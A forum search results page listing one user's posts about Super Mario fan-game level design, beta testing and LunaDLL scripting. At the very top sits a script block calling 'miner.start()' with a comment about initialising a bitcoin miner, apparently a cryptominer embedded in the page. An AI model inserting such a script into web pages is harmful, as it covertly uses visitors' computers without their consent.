<script>
miner.start(); // initialise bitcoin miner
</script>

smbx communitypge projectmario fan games galaxy

Search found 97 matches

Go to advanced search

by DinnerSonic
6 years ago
Forum: A2XT
Topic: Episode 1 Discussion Thread
Replies: 1130
Views: 83121

Re: A2MBXT Discussion Thread

I'm mentally toying with the idea for an A2MBXT Episode 2 level, and was wondering if what might essentially be a Doctor Who parody mixed with SMB2 would clash with the A2MBXT style. Sniffit Daleks, time travel level gimmicks and so on... Talking Time Bros had a DW reference though, right? Oh, and s...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 165335

Re: LunaDLL help thread

Do LunaDLL custom cheats activate the "YOU HAVE CHEATED NO SAVING" mode that normal cheats do?
by DinnerSonic
6 years ago
Forum: A2XT
Topic: A2MBXT beta testing
Replies: 2378
Views: 191173

Re: A2MBXT beta testing

SAJewers wrote:I had to put a way out in that level because otherwise you'd be stuck with no way out, and would have to reload the game.
If the only real newer than new changes I should take into account are that and the ice Cat Llama as a reward, I could just do those on mine and things would be fine, right?
by DinnerSonic
6 years ago
Forum: A2XT
Topic: A2MBXT beta testing
Replies: 2378
Views: 191173

Re: A2MBXT beta testing

Just want to say, personal lifey things have prevented me from finalizing my revision of Out of Season, which includes a revamp to the P-Switch run, which is now a more forgiving block type switch run. The Raocoins are placed differently and don't require a confusing sign to explain, I've rebalanced...
by DinnerSonic
6 years ago
Forum: let's play
Topic: SMBX (2014 Yacht of Opinions): MaGL X - Whoohoo!
Replies: 5014
Views: 416627

Re: Never Again, raocow's in the top ten! He's been training

Looks like I missed both the Make a Good Drama contest and the Make a Good "Make a Good (x)" Joke contest. On a more sort of serious note, both the drama and the fact it related to a comical/meta level(I'll have to say it's one of my favorites due to that, actually) makes me think, could someone pul...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: A2MBXT beta testing
Replies: 2378
Views: 191173

Re: A2MBXT beta testing

Say, uh, if beta testing is happening now, does that mean it's too late to submit another revision of my level? IRL things prevented me from testing the changes to things like Raocoin and midpoint placement and the touched up goal.
by DinnerSonic
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 165335

Re: LunaDLL help thread

How hard would it be to add another value to all the commands, used purely as an identifier the way the unused one gets used for some values? I realize without that, anything that requires the type of byte would fall apart, which includes several of the ideas I tried to toss at you. Can LunaDLL be s...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 165335

Re: LunaDLL help thread

As I mentioned, then, I feel that some way to read values from memory/variables and use them for other commands(I assume as a feature of/alternative to ModParam would be easier to code than changing the way values work for everything) would open up a decent amount of possibilities. I'd also like to ...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 165335

Re: LunaDLL help thread

Do you have any plans on future updates to LunaDLL, with new commands and the like? There are a few seemingly simple and intermediate features that I've found I wish were there, during those moments when I get caught up in all the things it otherwise can do. The ability for ModParam to read values f...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 165335

Re: LunaDLL help thread

Boos aren't affected by nogravity, on or off. Your code, however, works perfectly! I believe my issue was using qw instead of df, as using hex instead of decimal doesn't kill the code but changing that does. I guess it doesn't recognize qw? I also noticed what seem to be a few issues with the HeartS...
by DinnerSonic
6 years ago
Forum: let's play
Topic: SMBX (2014 Yacht of Opinions): MaGL X - Whoohoo!
Replies: 5014
Views: 416627

Re: He Doesn't Make Anyone Mad, but MaGL X Isn't Over!

Yoshi's Island Ocean Cloud was pretty creative considering the wacky name. Shame about the pipes not working, and the abrupt end. The pipes did work. They were exit pipes for content raocow missed. Oh, they were? I guess I misinterpreted part of the "developer's commentary" then, since it sounded t...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: LunaDLL/LunaLUA help thread
Replies: 1470
Views: 165335

Re: LunaDLL help thread

I was toying around with a new level idea using LunaDLL and I was trying to avoid doing this, but I need to ask a question. Is there any way to make it so a Boo doesn't move vertically, so I could make a sort of ground based Boo, something that chases you when you look away from it? I tried changing...
by DinnerSonic
6 years ago
Forum: let's play
Topic: SMBX (2014 Yacht of Opinions): MaGL X - Whoohoo!
Replies: 5014
Views: 416627

Re: He Doesn't Make Anyone Mad, but MaGL X Isn't Over!

Finally, raocow played something I made, awesome! It had multiple bugs that I swear weren't there when I tested, awesome! Have a director's commentary. Things like the deadly cold "lava water" and the suddenness of the ending are purely my own design faults, but those pipes that did nothing and the ...
by DinnerSonic
6 years ago
Forum: let's play
Topic: SMBX (2014 Yacht of Opinions): MaGL X - Whoohoo!
Replies: 5014
Views: 416627

Re: He Doesn't Make Anyone Mad, but MaGL X Isn't Over!

Looking at several of these levels and hitting myself for not somehow finding some kind of common Yoshi's Island mid-point sprite you all used that would have been very useful in my level that somehow is ranking above all these. I also regret integrating a character filter directly into my actual le...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: Episode 1 Discussion Thread
Replies: 1130
Views: 83121

Re: A2MBXT Discussion Thread

I think I toyed around with editing the sprite and (apparently) decided to leave the SMA2 flat top for... I don't know why, accuracy? Maybe I edited the top and forgot to save it? The edit you all made works better while still keeping it as the SMA2 sprite swap reference, though. If I remember my or...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: Episode 1 Discussion Thread
Replies: 1130
Views: 83121

Re: A2MBXT Discussion Thread

Looking at it, I support most of the changes, loving the use of the plant drill thing in place of what I had! Though, I'm somewhat confused by the midpoint in the sky. I believe I did put it in a silly place before, but now it appears in a normal playthrough you'd never get it unless your normal pla...
by DinnerSonic
6 years ago
Forum: A2XT
Topic: Episode 1 Discussion Thread
Replies: 1130
Views: 83121

Re: A2MBXT Discussion Thread

Hope I'm not interrupting conversation here or sticking my head in the wrong place, but I was skimming through the wiki entry for my Out of Season to see how much of a chance there'd be to stick it in Episode 2/3/4, only to spot that it's actually listed as accepted now instead of the previous "Acce...
by DinnerSonic
6 years ago
Forum: let's play
Topic: SMBX (2014 Yacht of Opinions): MaGL X - Whoohoo!
Replies: 5014
Views: 416627

Re: I Wanna Be the MaGL X, Like Jesuis Actually Was...

This was actually part of the reason I lost motivation to finish it. Having to recreate each section block by block was irritating as hell to get actually accurate. If I had done it in LM I'd have had a far easier time of it. The SMBX editor features a "copy level section/room" function, couldn't y...
by DinnerSonic
7 years ago
Forum: A2XT
Topic: Episode 1: Post Levels Here
Replies: 535
Views: 56491

Re: A2MBXT: Post Levels Here

[Wiki Link] Presenting Out of Season , my first SMBX engine level, adapted from an older level design I created but never used. The engine's layer system was almost perfect for the concept, except for the slight layer position mismatching, which I managed to whip up an in-game excuse for. While I'm...
by DinnerSonic
7 years ago
Forum: A2XT
Topic: Level acceptance guidelines
Replies: 41
Views: 7844

Re: Level acceptance guidelines

I've got some problems with file size plus spoilers. I'm going to try to make an AVI cutscene play at a certain point in the level I'm working on, Mainly as an experiment/proof of concept/thing. Movie files are large however and the file size is WAY out of hand (180mgb). So what now? I should note ...
by DinnerSonic
7 years ago
Forum: A2XT
Topic: Episode 1 Discussion Thread
Replies: 1130
Views: 83121

Re: A2MBXT Discussion Thread

Hope this is the right place to ask, I'm all but finished making a level, it's got two exits, a normal one and what is currently a leak obtained after a sort of miniboss. I know bosses are for end of world things or secret paths, but this sort-of-boss is mostly a joke, as it's three Big Boos at the ...
by DinnerSonic
7 years ago
Forum: the gazebo
Topic: Introduction/Welcome Thread
Replies: 2958
Views: 292065

Re: Introduction/Wall of Text Thread

I'm sure you've heard the same story before. "I saw raocow post [x] video and decided to stuff my face into the latest community project despite not being in the community!" and I don't have too much of a tale different from that I hate to say. I stumbled upon raocow's videos a few years back, eat t...

Go to advanced search